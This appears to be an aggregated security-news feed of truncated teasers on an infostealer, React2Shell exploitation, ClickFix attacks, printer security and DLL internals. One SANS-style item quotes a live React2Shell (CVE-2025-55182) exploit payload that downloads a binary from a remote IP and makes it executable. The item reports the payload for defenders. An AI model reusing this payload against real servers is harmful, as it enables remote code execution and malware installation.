Summary Rapid7 Labs has identified a new malware-as-a-service information stealer being actively promoted through Telegram channels and on underground hacker forums. The stealer is advertised under the name “SantaStealer” and is planned to be released before the end of 2025. Open source intelligence suggests that it recently underwent a rebranding from the name “BluelineStealer.” The…
Exploits for React2Shell (CVE-2025-55182) remain active. However, at this point, I would think that any servers vulnerable to the “plain” exploit attempts have already been exploited several times. Here is today’s most popular exploit payload: ——WebKitFormBoundaryxtherespoopalloverme Content-Disposition: form-data; name=”0″ {“then”:”$1:__proto__:then”,”status”:”resolved_model”,”reason”:-1,”value”:”{\”then\”:\”$B1337\”}”,”_response”:{“_prefix”:”process.mainModule.require(‘http’).get(‘http://51.81.104.115/nuts/poop’,r=>r.pipe(process.mainModule.require(‘fs’).createWriteStream(‘/dev/shm/lrt’).on(‘finish’,()=>process.mainModule.require(‘fs’).chmodSync(‘/dev/shm/lrt’,0o755))));”,”_formData”:{“get”:”$1:constructor:constructor”}}} ——WebKitFormBoundaryxtherespoopalloverme Content-Disposition: form-data; name=”1″ “$@0″ ——WebKitFormBoundaryxtherespoopalloverme ——WebKitFormBoundaryxtherespoopalloverme– To make…
For the latest discoveries in cyber research for the week of 15th December, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES The Indian government confirmed cyber incidents involving GPS spoofing at seven major airports, including Delhi, Mumbai, Kolkata, and Bengaluru. The attack affected aircrafts using GPS-based landing procedures. Despite signal disruption to navigation…
ISC Stormcast For Monday, December 15th, 2025 https://isc.sans.edu/podcastdetail/9738, (Mon, Dec 15th) Source link
Wireshark release 4.6.2 fixes 2 vulnerabilities and 5 bugs. Source link
Introduction Since as early as November 2025, the finger protocol has been used in ClickFix social engineering attacks. BleepingComputer posted a report of this activity on November 15th, and Didier Stevens posted a short follow-up in an ISC diary the next day. I often investigate two campaigns that employ ClickFix attacks: KongTuke and SmartApeSG. When…
React2shell Module As you may have heard, on December 3, 2025, the React team announced a critical Remote Code Execution (RCE) vulnerability in servers using the React Server Components (RSC) Flight protocol. The vulnerability, tracked as CVE-2025-55182, carries a CVSS score of 10.0 and is informally known as “React2Shell”. It allows attackers to achieve prototype pollution…
Geopolitics has become a significant risk factor for today’s organizations, transforming cybersecurity into a technical and strategic challenge heavily influenced by state behavior. International tensions and the strategic calculations of major cyber powers, including Russia, China, Iran, and North Korea, significantly shape the current threat landscape. Businesses can no longer operate as isolated entities; they…
Multifunction printers (MFPs) do far more than print. They scan, email, fax, store, and authenticate. That convenience comes with risk. Our latest report, Understanding Multifunction Printer (MFP) Security within the Enterprise Business Environment, from Rapid7’s Deral Heiland, Principal Security Researcher (IoT), and Sam Moses, Security Consultant, takes a clear look at where MFPs expand your…
In the Microsoft Windows ecosystem, DLLs (Dynamic Load Libraries) are PE files like regular programs. One of the main differences is that they export functions that can be called by programs that load them. By example, to call RegOpenKeyExA(), the program must first load the ADVAPI32.dll. A PE files has a lot of headers (metadata)…
